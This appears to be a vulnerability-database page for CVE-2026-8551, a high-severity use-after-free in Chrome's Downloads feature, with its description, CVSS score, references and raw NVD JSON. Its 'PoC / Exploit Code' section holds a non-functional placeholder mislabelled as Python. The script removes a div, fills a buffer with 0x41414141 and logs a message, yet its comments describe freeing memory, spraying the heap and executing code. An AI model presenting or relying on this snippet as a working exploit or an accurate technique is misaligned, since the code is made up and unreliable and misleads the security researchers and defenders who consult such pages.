CVE-2026-8551

Description

Use after free in Downloads in Google Chrome prior to 148.0.7778.168 allowed a remote attacker who convinced a user to engage in specific UI gestures to execute arbitrary code via a crafted HTML page. (Chromium security severity: High)

CVSS Details

CVSS Score

8.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Google Chrome < 148.0.7778.168

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- Conceptual PoC for CVE-2026-8551 -->
<html>
<head>
<script>
// Simulation of Use After Free in Downloads
function trigger_uaf() {
    // Step 1: Allocate object related to Downloads
    let vuln_obj = document.createElement('div');
    // Simulate internal browser object hooking
    
    // Step 2: Trigger Free via specific UI gesture or logic
    // In a real scenario, this involves complex DOM manipulation
    vuln_obj.remove(); // Force free
    
    // Step 3: Heap Spray to reclaim memory
    // Fill the freed memory with controlled data
    let buffer = new ArrayBuffer(0x100);
    let view = new Uint32Array(buffer);
    view.fill(0x41414141); // Placeholder for ROP gadgets
    
    // Step 4: Use After Free
    // Accessing the dangling pointer to execute code
    // This part is highly dependent on Chrome internals
    console.log('Attempting to access freed memory...');
}

window.onload = function() {
    trigger_uaf();
}
</script>
</head>
<body>
<h1>CVE-2026-8551 PoC Test Page</h1>
<p>Please perform a specific UI gesture if required.</p>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-8551
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-8551
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-8551/
[4] VulDB https://vuldb.com/cve/CVE-2026-8551
[5] https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html
[6] https://issues.chromium.org/issues/498376171

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-8551", "sourceIdentifier": "[email protected]", "published": "2026-05-14T20:17:16.163", "lastModified": "2026-05-14T21:19:23.923", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Use after free in Downloads in Google Chrome prior to 148.0.7778.168 allowed a remote attacker who convinced a user to engage in specific UI gestures to execute arbitrary code via a crafted HTML page. (Chromium security severity: High)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html", "source": "[email protected]"}, {"url": "https://issues.chromium.org/issues/498376171", "source": "[email protected]"}]}}